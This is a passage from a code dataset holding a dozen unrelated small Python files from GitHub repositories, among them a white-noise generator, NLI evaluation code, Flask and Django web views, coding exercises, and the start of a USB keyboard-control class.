max_bound):\n\t'''\n\tThis function gets a list of random int numbers between (min_bound, max_bound)\n\tBecause of random.org limitation, we get 10,000 numbers in each request\n\t'''\n\tnums = []\n\tfor i in range(size/10000 + 1):\n\t\tcount = min(size, (i+1)*10000) - i*10000\n\t\tr = requests.get('https://www.random.org/integers/?num='+str(count)+'&min='+str(min_bound)+'&max='+str(max_bound)+'&col=5&base=10&format=plain&rnd=new')\n\t\tnums.extend([float(f) for f in r.text.split()])\n\treturn nums\n\nNOISE_LEN = 44100 * 3 \t# count of random numbers to generate 3-second wav file\nMIN_BOUND = -32767\nMAX_BOUND = 32767\nrand_noise = wave.open('random.wav', 'w')\nrand_noise.setparams((2, 2, 44100, 0, 'NONE', 'not compressed'))\n\nrand_nums = get_randint(NOISE_LEN, MIN_BOUND, MAX_BOUND)\nvalues = []\nfor n in rand_nums:\n packed_n = struct.pack('h', n)\n values.append(packed_n)\n values.append(packed_n)\n\nrand_noise.writeframes(''.join(values))\nrand_noise.close()","repo_name":"yibangchen/unify-id-coding","sub_path":"random_white_noise.py","file_name":"random_white_noise.py","file_ext":"py","file_size_in_byte":1085,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"18614357805","text":"# -*- coding: utf-8 -*-\n\nimport json\nimport gzip\n\nimport numpy as np\n\nimport nltk\n\nfrom inferbeddings.nli import util\nfrom inferbeddings.models.training.util import make_batches\n\n\ndef evaluate(session, eval_path, label_to_index, token_to_index, predictions_op, batch_size,\n sentence1_ph, sentence2_ph, sentence1_len_ph, sentence2_len_ph, dropout_keep_prob_ph,\n has_bos=False, has_eos=False, has_unk=False, is_lower=False,\n bos_idx=1, eos_idx=2, unk_idx=3):\n sentence1_all = []\n sentence2_all = []\n gold_label_all = []\n\n with gzip.open(eval_path, 'rb') as f:\n for line in f:\n decoded_line = line.decode('utf-8')\n\n if is_lower:\n decoded_line = decoded_line.lower()\n\n obj = json.loads(decoded_line)\n\n gold_label = obj['gold_label']\n\n if gold_label in ['contradiction', 'entailment', 'neutral']:\n gold_label_all += [label_to_index[gold_label]]\n\n sentence1_parse = obj['sentence1_parse']\n sentence2_parse = obj['sentence2_parse']\n\n sentence1_tree = nltk.Tree.fromstring(sentence1_parse)\n sentence2_tree = nltk.Tree.fromstring(sentence2_parse)\n\n sentence1_tokens = sentence1_tree.leaves()\n sentence2_tokens = sentence2_tree.leaves()\n\n sentence1_ids = []\n sentence2_ids = []\n\n if has_bos:\n sentence1_ids += [bos_idx]\n sentence2_ids += [bos_idx]\n\n for token in sentence1_tokens:\n if token in token_to_index:\n sentence1_ids += [token_to_index[token]]\n elif has_unk:\n sentence1_ids += [unk_idx]\n\n for token in sentence2_tokens:\n if token in token_to_index:\n sentence2_ids += [token_to_index[token]]\n elif has_unk:\n sentence2_ids += [unk_idx]\n\n if has_eos:\n sentence1_ids += [eos_idx]\n sentence2_ids += [eos_idx]\n\n sentence1_all += [sentence1_ids]\n sentence2_all += [sentence2_ids]\n\n sentence1_all_len = [len(s) for s in sentence1_all]\n sentence2_all_len = [len(s) for s in sentence2_all]\n\n np_sentence1 = util.pad_sequences(sequences=sentence1_all)\n np_sentence2 = util.pad_sequences(sequences=sentence2_all)\n\n np_sentence1_len = np.array(sentence1_all_len)\n np_sentence2_len = np.array(sentence2_all_len)\n\n gold_label = np.array(gold_label_all)\n\n nb_instances = gold_label.shape[0]\n batches = make_batches(size=nb_instances, batch_size=batch_size)\n\n predictions = []\n\n for batch_idx, (batch_start, batch_end) in enumerate(batches):\n feed_dict = {\n sentence1_ph: np_sentence1[batch_start:batch_end],\n sentence2_ph: np_sentence2[batch_start:batch_end],\n\n sentence1_len_ph: np_sentence1_len[batch_start:batch_end],\n sentence2_len_ph: np_sentence2_len[batch_start:batch_end],\n\n dropout_keep_prob_ph: 1.0\n }\n\n _predictions = session.run(predictions_op, feed_dict=feed_dict)\n predictions += _predictions.tolist()\n\n matches = np.array(predictions) == gold_label\n return np.mean(matches)\n","repo_name":"uclnlp/inferbeddings","sub_path":"inferbeddings/nli/evaluation/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":3387,"program_lang":"python","lang":"en","doc_type":"code","stars":58,"dataset":"github-code","pt":"61"} +{"seq_id":"43518934503","text":"\nimport time\nimport pandas as pandas_pd\nfrom multiprocessing import Pool\n\ns = time.time()\npandas_df = pandas_pd.read_csv(\"data/csvs/8. Part - Site Map.csv\")\ne = time.time()\nprint(\"Pandas Loading Time = {}\".format(e-s))\n\ns = time.time()\nx = pandas_df['Partner Name'].isnull().values\ny = pandas_df['Partner Part #'].isnull().values\ne = time.time()\nprint(\"Pandas find Time = {}\".format(e-s))\nprint(x)\nprint(y)\n# Using modin ray:\n\n# Load csv file using Modin and Ray\nimport os\nos.environ[\"MODIN_ENGINE\"] = \"ray\" # Modin will use Ray\nimport ray\nray.init(num_cpus=8)\nimport modin.pandas as ray_pd\n\ns = time.time()\nmray_df = ray_pd.read_csv(\"data/csvs/creditcard.csv\")\ne = time.time()\n# print(\"Modin Loading Time = {}\".format(e-s))\n\n# s = time.time()\n# mray_df = ray_pd.read_csv(\"data/csvs/8. Part - Site Map.csv\")\n# e = time.time()\n# print(\"Modin Loading Time = {}\".format(e-s))\n\ns = time.time()\nmray_df = ray_pd.read_csv(\"data/csvs/8. Part - Site Map.csv\")\np = ray_pd.DataFrame(mray_df)\nprint(type(p))\ne = time.time()\nprint(\"Modin Loading Time = {}\".format(e-s))\n\ns = time.time()\nx =mray_df['Partner Name'].isnull().values\ny = mray_df['Partner Part #'].isnull().values\ne = time.time()\nprint(\"Modin find Time = {}\".format(e-s))\n# print(x)\n# print(y)\nexit(0)\n","repo_name":"Revanth-23/projectproverance","sub_path":"ProjectProvenance /poc/modin_vs_pandas_2.py","file_name":"modin_vs_pandas_2.py","file_ext":"py","file_size_in_byte":1253,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"11636360550","text":"name = input()\nhouse = \"\"\nall_names_are_sorted = True\nwhile name != \"Welcome!\":\n name_length = len(name)\n if name == \"Voldemort\":\n print(\"You must not speak of that name!\")\n all_names_are_sorted = False\n break\n if name_length < 5:\n house = \"Gryffindor\"\n elif name_length == 5:\n house = \"Slytherin\"\n elif name_length == 6:\n house = \"Ravenclaw\"\n elif name_length > 6:\n house = \"Hufflepuff\"\n print(f\"{name} goes to {house}.\")\n name = input()\nif all_names_are_sorted:\n print(\"Welcome to Hogwarts.\")\n","repo_name":"ahmedbuchev/SoftUni-Python","sub_path":"01.Fundamentals/01.basic_syntax_conditional_statements_loops/exercise/sorting_hat.py","file_name":"sorting_hat.py","file_ext":"py","file_size_in_byte":571,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"25489015889","text":"import pandas as pd\n\ndef process( data ):\n groups = data.groupby(['instance'])\n \n average = groups['result'].mean().reset_index()\n average.columns = ['instance','average']\n \n minimun = groups['result'].min().reset_index()\n minimun.columns = ['instance','minimal']\n \n final = pd.merge(average, minimun, how ='inner', on ='instance')\n \n final = final.round(1)\n\n return final\n","repo_name":"tiagofunk/TCC-Algoritmo-MemPlas-Com-Path-Relinking-Problema-QCars","sub_path":"Pandas/process.py","file_name":"process.py","file_ext":"py","file_size_in_byte":409,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"71434855553","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\n\r\n\r\n@author: NeuroPanda\r\n\"\"\"\r\nimport numpy as np\r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt\r\n#Giriş için kullanacağımız verisetinde,x dosyasındakiler resimleri,y ler ise x teki dosyalara ait etiketleri ifade ediyor.\r\n#Verisetindeki 204 ile 408 arası indexler 0ı,822 ile 1027 arası indexler 1i ifade eder.\r\nx_l=np.load(\"X.npy\") #array tipinde verilerimizi load ettik. \r\ny_l=np.load(\"Y.npy\")\r\nimg_size=64\r\nplt.subplot(1,2,1)\r\nplt.imshow(x_l[260].reshape(img_size,img_size))\r\nplt.axis(\"off\")\r\nplt.subplot(1,2,2)\r\nplt.imshow(x_l[900].reshape(img_size,img_size))\r\n\r\n\r\n#Şimdi tüm resimlerimizi tek bir array içerisinde toplayalım.Büyük X olsun;\r\nX = np.concatenate((x_l[204:409], x_l[822:1027] ), axis=0)#bu işlemle 410,64,64 şeklinde bir matris yaptık. Yani yukarıdan aşağıya 410 elemanı var.\r\n#Aynı şekilde bunlara ait etiketleri de birleştirelim.\r\nz=np.zeros(205) #205 elemanı olan tek satır vektör oldu.\r\no=np.ones(205) \r\nY = np.concatenate((z, o), axis=0).reshape(X.shape[0],1) #Burada X arrayimizle uyumlu hale getirdik. \r\n#X arrayimiz 410 tane 64 e 64 lük pixellerden meydana geliyordu. 410 tanesi için sırayla 0 ve 1 atadık.\r\n\r\n\r\n\r\n#Şimdi datasetimizi veriseti ve eğitim seti olarak ikiye böleceğiz.\r\nfrom sklearn.model_selection import train_test_split\r\nX_train,X_test,Y_train,Y_test=train_test_split(X,Y,test_size=0.15,random_state=42)\r\n#%15 ini train set olarak ayırdık. random_stat ile de her seferinde aynı randomlıkta işlem yapacağız.\r\nnumber_of_train=X_train.shape[0] # X_train 348,64,64 lük bir matris haline geldi.\r\nnumber_of_test=X_test.shape[0]\r\n\r\n\r\n#Bundan sonraki aşamamız hem X hem Y vektörlerimizi aynı boyutlu hale getirmek .\r\nX_train_flatten=X_train.reshape(number_of_train,X_train.shape[1]*X_train.shape[1])\r\nX_test_flatten=X_test.reshape(number_of_test,X_test.shape[1]*X_test.shape[2]) #348,4096 lık bir hale getirdik.\r\n#ŞİMDİ MATRİXLERİMİZİN TRANSPOZUNU ALALIM.\r\nx_train=X_train_flatten.T #4096,348 lik bir matris haline getirdik tekrar.Nottaki X haline geldi.\r\nx_test=X_test_flatten.T\r\ny_train=Y_train.T\r\ny_test=Y_test.T\r\n#İnitializing parameters\r\ndef initialize_weights_and_bias(dimension): #Bir öncekinden hatırlarsak 4096,348 lik içinde resimlerimiz bulunan bir \r\n #array yapmıştık. yani tek bir resmimiz 496,1 lik bir matristi. Bunun için aynı şekilde 496,1 lik w matrisi yaptık.\r\n w=np.full((dimension,1),0.01) #496,1 lik bir matris oluşturacağız ve tüm değerleri 0.01 yapacağız.\r\n b=0.0\r\n return w, b \r\nw,b=initialize_weights_and_bias(x_train.shape[0])\r\n#Sigmoid Function\r\ndef sigmoid(z):\r\n y_head=1/(1+np.exp(-z))\r\n return y_head\r\n#Forward and Backward Propagation \r\n #Forward Propagation şöyle yapılır:\r\n #Weight ile X_traindeki resim matrislerimizi çarpacağız.\r\n #Çarpım sonucumuza göre bir z matrisi elde edeceğiz.\r\n #Elde ettiğimiz z matrisini loss func. sokacağız.\r\n #Loss funck. sonuçlarını toplayıp(z fonksiyonu içinde) cost fonk. değeri bulacağız.\r\ndef forward_backward_propagation(w,b,x_train,y_train):\r\n \r\n z=np.dot(w.T,x_train)+b #Bu işlemleri bu şekilde kolaylaştırmaya vektörizasyon demiştik. \r\n #Dikkat edelim z yi bir matris halinde,yani tek bir resimin çıktısı halinde değil tüm datasetin çıktısı halinde buluyoruz.\r\n y_head=sigmoid(z)\r\n loss=-y_train*np.log(y_head)-(1-y_train)*np.log(y_head)\r\n cost=(np.sum(loss))/x_train.shape[1] #loss matrisindeki tüm loss değerlerini topladık ve ortalamasını aldık. \r\n derivative_weight=(np.dot(x_train,((y_head-y_train).T)))/x_train.shape[1] #type:ndarrayv size:4096 \r\n derivative_bias=np.sum(y_head-y_train)/x_train.shape[1]\r\n gradients={\"derivative_weight\":derivative_weight,\"derivative_bias\":derivative_bias}\r\n return cost,gradients\r\n#Bulduğumuz derivative_weight değerleri learning rate ile çarpılıp normal w değerlerinden düşülecek. Update işlemini ise aşağıda yapıyoruz.\r\n#İmplementing Update Parameters\r\ndef update(w,b,x_train,y_train,learning_rate,number_of_iteration):\r\n cost_list=[]\r\n cost_list2=[]\r\n index=[]\r\n #number_of_iterations sayısı kadar parametrelerimizi güncelleyeceğiz.\r\n for i in range(number_of_iteration):\r\n cost,gradients=forward_backward_propagation(w,b,x_train,y_train)\r\n cost_list.append(cost)\r\n w=w-learning_rate*gradients[\"derivative_weight\"]\r\n b=b-learning_rate*gradients[\"derivative_bias\"]\r\n if i%10==0:\r\n cost_list2.append(cost)\r\n index.append(i)\r\n print(\"Cost after iteration {} : {}\".format(i,cost))\r\n parameters={\"weight\": w, \"bias\": b}\r\n plt.plot(index,cost_list2)\r\n plt.xlabel(\"Number of Iteration\")\r\n plt.ylabel(\"Cost\")\r\n plt.show()\r\n return parameters,gradients,cost_list\r\n\r\n\r\n#Katsayılarımızı güncelledikten sonra prediction yapıyoruz. \r\ndef predict(w,b,x_test):\r\n z=sigmoid(np.dot(w.T,x_test)+b) #tahmin yaparken forward propagationu uyguluyoruz.güncellenmiş parametrelerimizle bunu uyguladığımızda bize tahmin sonucunu verecek.\r\n y_prediction=np.zeros((1,x_test.shape[1]))\r\n for i in range(z.shape[1]):\r\n if z[0,i]<=0.5: #hesaplanan probabilite 0.5ten büyükse 1 dir değilse 0 dır diyoruz.\r\n y_prediction[0,i]=0\r\n else:\r\n y_prediction[0,i]=1\r\n \r\n return y_prediction\r\n\r\n\r\n###########\r\n##SON BİRLEŞTİRME!\r\n###########\r\ndef logistic_regression(x_train,y_train,x_test,y_test,learning_rate,num_iterations):\r\n dimension=x_train.shape[0] #4096\r\n w,b=initialize_weights_and_bias(dimension)\r\n parameters,gradients,cost_list=update(w,b,x_train,y_train,learning_rate,num_iterations)\r\n y_prediction_test=predict(parameters[\"weight\"],parameters[\"bias\"],x_test)\r\n print(\"test accuracy: {}\".format(100-np.mean(np.abs(y_prediction_test-y_test))*100))\r\n \r\n \r\nlogistic_regression(x_train,y_train,x_test,y_test,learning_rate=0.01,num_iterations=50)\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n","repo_name":"barisakin98/Deep-Learning","sub_path":"Logistic Regression.py","file_name":"Logistic Regression.py","file_ext":"py","file_size_in_byte":6022,"program_lang":"python","lang":"tr","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"35801182001","text":"from flask import request, render_template\r\nfrom flask import Flask\r\nfrom .model import Product\r\nfrom .calculate import *\r\n\r\napp = Flask('__name__')\r\n\r\n# add product route\r\n@app.route('/add-product', methods=[\"GET\",\"POST\"])\r\ndef addProdcut():\r\n\r\n product = {\r\n 'name': '',\r\n 'sellingPrice': 0,\r\n 'purchasePrice': 0,\r\n 'unitsPurchased': 0,\r\n 'unitsSold':0\r\n }\r\n if request.method==\"POST\":\r\n \r\n if request.form['pname'] != '':\r\n product['name'] = request.form['pname']\r\n \r\n if request.form['sp'] != '':\r\n product['sellingPrice'] = request.form['sp']\r\n \r\n if request.form['price'] != '':\r\n product['purchasePrice'] = request.form['price']\r\n\r\n if request.form['purchase'] != '':\r\n product['unitsPurchased'] = request.form['purchase']\r\n\r\n if request.form['sold'] != '':\r\n product['unitsSold'] = request.form['sold']\r\n\r\n p = Product(\r\n product['name'],\r\n product['sellingPrice'],\r\n product['purchasePrice'],\r\n product['unitsPurchased'],\r\n product['unitsSold']\r\n )\r\n\r\n product_list.append(p)\r\n\r\n return render_template('add_product_form.html')\r\n\r\n@app.route('/update-commission', methods=[\"GET\",\"POST\"])\r\ndef updateCommissionPercentage():\r\n\r\n if request.method == \"POST\":\r\n position = request.form.get(\"positions\")\r\n employeeCommissionPercent[position] = request.form[\"commission\"]\r\n\r\n return render_template('change_commission_value.html')\r\n\r\n@app.route('/sales-profit-report', methods=[\"GET\"])\r\ndef renderSalesProfitReport():\r\n\r\n commission_values = dict()\r\n\r\n profit_per_sale = dict()\r\n\r\n if len(product_list) != 0:\r\n\r\n for pos in positions:\r\n commission_values[pos] = list()\r\n for item in product_list:\r\n commission_values[pos].append(commissionToEachSale(employeeCommissionPercent[pos], item))\r\n\r\n\r\n for product in product_list:\r\n profit_per_sale[product.name] = (product.sellingPrice*product.unitsSold) - (product.unitsPurchased*product.purchasePrice)\r\n\r\n total_commission=totalCommissionPercent()\r\n\r\n net_profit = calculateNetProfit()\r\n\r\n return (\r\n \"sales_and_commission_report.html\", \r\n {\r\n 'commission_values': commission_values, \r\n 'profit_per_sale': profit_per_sale, \r\n 'total_commission': total_commission,\r\n 'employeeCommissionPercent': employeeCommissionPercent,\r\n 'product_list': product_list,\r\n 'positions': positions,\r\n 'net_profit': net_profit \r\n }\r\n )\r\n\r\n@app.route('/')\r\ndef hello():\r\n return \"Hello World!\"\r\n\r\nif __name__ == '__main__':\r\n app.run(debug=true)","repo_name":"itsme1611/S4---Test---Aditya","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2902,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"13417388028","text":"def main():\r\n print(7 * 'MW' + '<<>>' + 7 * 'MW')\r\n h1 = int(input('Qual a quantidade de horas/aulas dadas pelo primeiro professor?'))\r\n v1 = int(input('Quanto recebe por cada hora/aula o primeiro profesor?'))\r\n print(7 * 'MW' + '<<>>' + 7 * 'MW')\r\n h2 = int(input('Qual a quantidade de horas/aulas dadas pelo segundo professor?'))\r\n v2 = int(input('Quanto recebe por cada hora/aula o segundo profesor?'))\r\n calculo(h1, v1, h2, v2)\r\n\r\n\r\ndef calculo(h1, v1, h2, v2):\r\n prof1 = float(h1 * v1)\r\n prof2 = float(h2 * v2)\r\n if prof1 > prof2:\r\n print(f'O primeiro professor tem o salário maior, pois, ganha R${prof1}\\nEnquanto o segundo professor ganha R${prof2}')\r\n elif prof2 > prof1:\r\n print(f'O segundo professor tem o salário maior, pois, ganha R${prof2}\\nEnquanto o primeiro professor ganha R${prof1}')\r\n else:\r\n print('Os dois professores recebem o mesmo salário.')\r\n\r\n\r\nmain()\r\n","repo_name":"jose-rgb/-ifpi-ads-algoritmos2020","sub_path":"Exercicios_de_condicionais/exercicio15_lista2a.py","file_name":"exercicio15_lista2a.py","file_ext":"py","file_size_in_byte":965,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"9365293019","text":"#\n# @lc app=leetcode.cn id=884 lang=python3\n#\n# [884] 两句话中的不常见单词\n#\n\n# @lc code=start\nclass Solution:\n def uncommonFromSentences(self, A: str, B: str) -> List[str]:\n from collections import Counter\n ac = Counter(A.split())\n bc = Counter(B.split())\n \n answer = []\n for k in ac.keys():\n if ac.get(k) == 1 and k not in bc:\n answer.append(k)\n \n for k in bc.keys():\n if bc.get(k) == 1 and k not in ac:\n answer.append(k)\n return answer\n\n# @lc code=end\n\n","repo_name":"mqinbin/python_leetcode","sub_path":"884.两句话中的不常见单词.py","file_name":"884.两句话中的不常见单词.py","file_ext":"py","file_size_in_byte":584,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"7869427055","text":"from django.shortcuts import render\nfrom rest_framework.response import Response\nfrom rest_framework.decorators import api_view, permission_classes\nfrom rest_framework.views import APIView\nfrom rest_framework.parsers import MultiPartParser, FormParser\nfrom rest_framework import status\nfrom rest_framework.permissions import IsAuthenticated\nfrom .models import Single, Outlet, MessageTemplate, UserProfile\nfrom .serializers import SingleSerializer\nfrom .utils import deleteSingle, getSingleDetail, updateSingle, deleteSingle, getSinglesList, createSingle\nfrom django.http import JsonResponse\nfrom rest_framework import permissions\n\nfrom rest_framework_simplejwt.serializers import TokenObtainPairSerializer\nfrom rest_framework_simplejwt.views import TokenObtainPairView\n\n# Create your views here.\n\n@api_view(['GET'])\ndef getRoutes(request):\n\n routes = [\n {\n 'Endpoint': '/singles/',\n 'method': 'GET',\n 'body': None,\n 'description': 'Returns an array of singles'\n },\n {\n 'Endpoint': '/singles/id',\n 'method': 'GET',\n 'body': None,\n 'description': 'Returns a single single'\n },\n {\n 'Endpoint': '/singles/',\n 'method': 'POST',\n 'body': {'body': \"\"},\n 'description': 'Creates an existing single with data sent in post request'\n },\n {\n 'Endpoint': '/singles/id/',\n 'method': 'PUT',\n 'body': {'body': \"\"},\n 'description': 'Creates an exiting single with data sent in post request'\n },\n {\n 'Endpoint': '/singles/id/',\n 'method': 'DELETE',\n 'body': None,\n 'description': 'Deletes an existing single'\n },\n {\n '/api/token',\n },\n {\n '/api/token/refresh',\n }\n \n \n \n ]\n \n \n return Response(routes) \n\n\n\n\nclass MyTokenObtainPairSerializer(TokenObtainPairSerializer):\n @classmethod\n def get_token(cls, user):\n token = super().get_token(user)\n\n # Add custom claims\n token['name'] = user.username\n # ...\n\n return token\n\nclass MyTokenObtainPairView(TokenObtainPairView):\n serializer_class = MyTokenObtainPairSerializer \n \n\n\n\n@api_view(['GET', 'POST'])\n@permission_classes([IsAuthenticated])\ndef getSingles(request):\n if request.method == 'GET':\n return getSinglesList(request)\n if request.method == 'POST':\n return createSingle(request)\n\n\n\n\n@api_view(['GET', 'PUT', 'DELETE'])\ndef getSingle(request, pk):\n if request.method == 'GET':\n return getSingleDetail(pk)\n \n if request.method == 'PUT':\n return updateSingle(request, pk)\n\n if request.method == 'DELETE':\n return deleteSingle(pk) ","repo_name":"trackstarz/SingleMaximizer","sub_path":"singlemaximizer/api/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2874,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"10804418807","text":"import os\nimport datetime\nimport json\n\nfrom web3 import Web3, HTTPProvider\nfrom web3.contract import ConciseContract\n\nfrom django.conf import settings\nfrom django.shortcuts import render\nfrom project import settings\nfrom django.http import JsonResponse\n\n\n\ndef index(request):\n return render(request, \"app/index.html\", {\"DEBUG\": settings.DEBUG})\n\n\ndef bids(request):\n rpc_url = None\n network_name = None\n\n if \"INFURA_URL\" not in os.environ:\n rpc_url = \"http://localhost:8545\"\n network_name = \"5777\"\n else:\n rpc_url = os.environ[\"INFURA_URL\"]\n network_name = os.environ[\"ETH_NETWORK_NAME\"]\n\n contract_interface = settings.CONTRACT_INTERFACE\n contract_address = contract_interface[\"networks\"][network_name][\"address\"]\n\n w3 = Web3(HTTPProvider(rpc_url))\n cc = w3.eth.contract(contract_interface['abi'],\n contract_address,\n ContractFactoryClass=ConciseContract)\n\n response = {}\n\n manually_ended = cc.manuallyEnded()\n if manually_ended:\n response[\"manuallyEnded\"] = True\n else:\n response[\"bids\"] = []\n\n bidIds = cc.getBidIds()\n for bidId in bidIds:\n bid = cc.bids(bidId)\n exists = bid[0]\n assert(exists)\n assert(bid[1] == bidId)\n\n response[\"bids\"].append({\n \"timestamp\": bid[2],\n \"bidder\": bid[3],\n \"amount\": bid[4],\n \"organisation\": bid[6]\n })\n \n if len(bidIds) > 0:\n response[\"expiryTimestamp\"] = cc.expiryTimestamp()\n\n r = JsonResponse(response)\n r[\"Cache-Control\"] = \"no-cache\"\n return r\n","repo_name":"weijiekoh/hireme","sub_path":"web/web/app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1689,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"3232039348","text":"import json\n\nfrom django.db.models import Q\nfrom django.http import HttpResponse\nfrom django.shortcuts import render, redirect\nfrom django.views.generic import ListView, TemplateView, DetailView\n\nfrom rbac.models import Menu, Permission\nfrom rbac.views.indexView import CommonViewMixin\n\n\n#菜单列表\nclass Menus(CommonViewMixin, ListView):\n queryset = Menu.menu_list()\n paginate_by = 10\n context_object_name = 'menu_list'\n template_name = 'menu/menu.html'\n\n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n context.update({\n \"keyword\":self.request.POST.get(\"keyword\")\n })\n return context\n\n def get_queryset(self):\n queryset = self.queryset\n keyword = self.request.POST.get('keyword')\n if not keyword:\n return queryset\n return queryset.filter(Q(title__icontains=keyword))\n\n def post(self,request, *args, **kwargs):\n return super(Menus, self).get(request, *args, **kwargs)\n\n\n#新增菜单\nclass AddMenu(CommonViewMixin,TemplateView):\n # http_method_names = ['post']\n template_name = 'menu/addmenu.html'\n\n def post(self, request, *args, **kwargs):\n errors = []\n success = ''\n context = self.get_context_data()\n user = context[\"user\"]\n if user:\n title = request.POST.get('title')\n icon = request.POST.get('icon')\n priority = request.POST.get('priority')\n if len(title)>6 or len(title)<1:\n errors.append('您输入的菜单名需在1-6个字符之间')\n if len(icon)>20 or len(icon)<2:\n errors.append('您输入的菜单图标内容需在2-20个字符之间')\n if not priority.isdigit():\n errors.append('优先级请输入数字')\n elif len(priority)>6 or len(priority)<1:\n errors.append('您输入的优先级内容需在1-6个字符之间')\n if errors:\n context.update({\n 'errors': errors,\n })\n return render(request, \"menu/addmenu.html\", context=context)\n else:\n Menu.objects.create(title=title,icon=icon,priority=priority)\n return redirect('menu')\n else:\n return redirect('login')\n\n\n#修改菜单\nclass ChangeMenu(CommonViewMixin,DetailView):\n # http_method_names = ['post']\n queryset = Menu.menu_list()\n template_name = 'menu/addmenu.html'\n context_object_name = 'menu'\n pk_url_kwarg = 'menu_id'\n\n def post(self, request, *args, **kwargs):\n errors = []\n self.object = self.get_object()\n context = self.get_context_data(object=self.object)\n user = context[\"user\"]\n menu_id =self.kwargs.get('menu_id')\n title = request.POST.get('title')\n icon = request.POST.get('icon')\n priority = request.POST.get('priority')\n if user:\n if len(title) > 6 or len(title) < 1:\n errors.append('您输入的菜单名需在1-6个字符之间')\n if len(icon) > 20 or len(icon) < 2:\n errors.append('您输入的菜单图标内容需在2-20个字符之间')\n if not priority.isdigit():\n errors.append('优先级请输入数字')\n elif len(priority) > 6 or len(priority) < 1:\n errors.append('您输入的优先级内容需在1-6个字符之间')\n if errors:\n menu = {\n 'title':title,\n 'icon':icon,\n 'priority':priority,\n }\n context.update({\n 'menu':menu,\n 'errors': errors,\n })\n return render(request, \"menu/addmenu.html\", context=context)\n else:\n Menu.objects.filter(status=Menu.STATUS_NORMAL, id=menu_id).update(\n title=title,\n icon=icon,\n priority=priority,\n )\n return redirect('menu')\n else:\n return redirect('login')\n\n\n#删除菜单\nclass DeleteMenu(CommonViewMixin,TemplateView):\n\n def post(self, request, *args, **kwargs):\n success = False\n menu_id =self.kwargs.get('menu_id')\n context = self.get_context_data()\n user = context[\"user\"]\n if user:\n permission = Permission.permission_list().filter(menu=menu_id)\n if not permission:\n Menu.objects.filter(id=menu_id).update(\n status = Menu.STATUS_DELETE\n )\n menu = Menu.get_by_menu(menu_id)\n if menu and menu.status == Menu.STATUS_DELETE:\n success = True\n response = HttpResponse()\n response['Content-Type'] = \"text/javascript\"\n response.write(json.dumps({'success':success}))\n return response\n else:\n return redirect('login')","repo_name":"tangchuan/testmanagement","sub_path":"rbac/views/menuView.py","file_name":"menuView.py","file_ext":"py","file_size_in_byte":5028,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"26728941866","text":"\"\"\"\nProblem: \nA frog jumps on the x-axis. It needs to get from 0 to n-1 jumping only towards\ngreater numbers. Each jump consumes energy equal to the distance of a jump. On some numbers,\nthere are snack that the frog can consume to get energy. \n\nA[i] - energy from eating the snack on number i\nFind the minimum number of jumps required to get from 0 to n-1\n\nSolution:\nF[i][j] - min number of jumps to get to number i with j energy\n\n\"\"\"\n\ndef frog(A):\n\tmax_energy = sum(A)\n\tn = len(A)\n\n\tF = [[None]*(max_energy+1) for _ in range(n)]\n\n\tF[0][0] = 0\n\n\tdef f(i, j):\n\t\tj = max(0, j)\n\n\t\tif F[i][j] != None:\n\t\t\treturn F[i][j]\n\n\t\tbest = None\n\t\tk=1\n\t\twhile k<=i and f(i-k, j+k-A[i-k]) != None:\n\t\t\tcase = 1 + f(i-k, j+k-A[i-k])\n\t\t\tif best == None or best>case:\n\t\t\t\tbest = case\n\t\t\tk+=1\n\t\tF[i][j] = best\n\n\t\treturn F[i][j]\n\n\treturn f(n-1, 0)\n\n\n# example\n\nA = [2,1,1,0,3,2,0,0,5,1,0,2,0,1,0,1,0,1]\nprint(frog(A))","repo_name":"wojtke/agh-asd","sub_path":"dynamic/frog jumping.py","file_name":"frog jumping.py","file_ext":"py","file_size_in_byte":896,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"5098918050","text":"from contextlib import contextmanager\nfrom pywinusb import hid\nfrom time import sleep\n\n# 21 x 6\nKeyLayout = [\n 96, -1, 97, 98, 99, 104, 105, 106, 112, 113, 114, 67, 68, 69, 102, 103, 107, 110, 111, 109, 108,\n 0, 1, 8, 9, 16, 17, 24, 25, 32, 33, 40, 41, 48, 49, 56, 57, 64, 72, 73, 80, 81,\n 2, 3, 10, 11, 18, 19, 26, 27, 34, 35, 42, 43, 50, 51, 58, 59, 66, 74, 75, 82, 83,\n 4, 5, 12, 13, 20, 21, 28, 29, 36, 37, 44, 45, -1, 52, -1, -1, -1, 76, 77, 84, -1,\n 6, -1, 7, 14, 15, 22, 23, 30, 31, 38, 39, 46, -1, 47, -1, 61, -1, 78, 79, 86, 85,\n 91, 90, 92, -1, -1, -1, 93, -1, -1, -1, 94, 95, 60, 54, 63, 62, 70, -1, 71, 87, -1]\n\n\n@contextmanager\ndef open_keyboard(flash_mode=False, callback=None):\n keyboard = Keyboard(flash_mode, callback)\n try:\n keyboard.connect()\n yield keyboard\n finally:\n keyboard.close()\n\nclass Keyboard:\n def __init__(self, flash_mode=False, callback=None):\n self._flash_mode = flash_mode\n self._callback = callback\n\n def connect(self):\n self._device = Keyboard._findDevice(self._flash_mode)\n keyboardIn = self._device.find_input_reports()\n keyboardOut = 